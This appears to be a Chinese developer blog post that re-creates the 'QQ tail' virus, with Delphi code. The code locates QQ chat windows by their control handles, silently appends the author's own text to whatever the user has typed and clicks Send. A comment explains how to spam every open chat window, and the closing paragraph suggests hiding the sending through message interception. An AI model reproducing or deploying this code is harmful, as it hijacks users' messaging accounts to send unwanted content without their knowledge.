QQ尾巴病毒的另一种实现

本文通过SPY++查看QQ框架,分析了QQ聊天界面的控件,如对话框、按钮、容器等。给出了利用这些控件实现类似QQ尾巴功能的代码,通过查找窗体和控件句柄,发送消息实现文本添加与发送,但程序存在不足,可通过拦截消息改进。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前几天看到?wuqiu 兄 把 QQ尾巴病毒模拟了一遍,

我觉得通过查找窗体标题,不太合常理

回去用SPY++来查看了一下,原来,QQ的框架是这样的

无法显示

?

其中,#32770(对话框)就是弹出的QQ聊天界面;内部的控件就如上图显示的那样,有Static(标签)、Button(按钮)、AfxWnd42(这个我猜类似panel的容器)、RICHEDIT(这里面就是显示我们的聊天纪录了)

具体的布局就不一一的细说了,你们可以自己打开SPY++看看,一目了然

其中,我们用到的只是其中两个控件,如下图:

前半部分是句柄,中间是标题,后半部分是类名

如:05240258~发送(&S)~Button

就是发送按钮,句柄是05240258

好了,知道了这些,想做点什么就很简单了

全部代码如下:

?

Procedure TForm1.Timer1Timer(Sender: TObject);
Var
?? hMemo, hRichEdit, HWindow, HButton: THandle; //句柄变量
?? szText?????????? : Array[0..255] Of char;?? //得到的字符串
?? MyText?????????? : String;? //发送的字符串
Begin
?? HWindow := 0;//从零开始,即从第一个字窗体开始遍历查找

?? While true Do
????? Begin

???????? //找是#32770(对话框)的窗体
???????? HWindow := FindWindowEx(0, HWindow, '#32770', Nil);
???????? If HWindow <> 0 Then
??????????? Begin

????????????? //找是AfxWnd42(这个我猜类似panel的容器)的窗体
?????????????? hMemo := FindWindowEx(HWindow, 0, 'AfxWnd42', Nil);
?????????????? If hMemo <> 0 Then
????????????????? Begin

???????????????? ???//找是RICHEDIT的窗体
???????????????????? hRichEdit := FindWindowEx(hMemo, 0, 'RichEdit', Nil);
???????????????????? If hRichEdit <> 0 Then
??????????????????????? Begin

???????????????????????? //想些什么随便啦,嘿嘿
?????????????????????????? MyText := '?????????? 阿德是个大帅哥,嘿嘿';

????????????????????????? //发消息,得到QQ中的文本
?????????????????????????? SendMessage(hRichEdit, WM_GetTEXT, 256,
????????????????????????????? integer(@szText[0]));

??????????????????????????//加上自己的话
?????????????????????????? MyText := szText + MyText;

????????????????????????? //再发给QQ
?????????????????????????? SendMessage(hRichEdit, WM_SETTEXT, 256,
????????????????????????????? integer(MyText));

????????????????????????? //找到发送按钮
?????????????????????????? HButton := FindWindowEx(HWindow, 0, 'Button',
????????????????????????????? '发送(&S)');

????????????????????????? //发点击消息,发送
?????????????????????????? SendMessage(HButton, BM_CLICK, 0, 0);

????????????????????????? //退出,如果去掉这句,就是给所有打开的QQ窗体发

????????????????????????? //否则,只发给最前面的QQ窗体
?????????????????????????? break;
??????????????????????? End;
????????????????? End;
??????????? End;
????? End;
End;

?

这也只是对QQ尾巴的一种猜测,程序有很多不尽如人意的地方,比如发的文本在QQ中显示一下然后再发送,就如?wuqiu 兄 的文章里说的,只要对消息进行拦截,然后再背地里偷偷的发送,就会神不知鬼不觉了

?

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值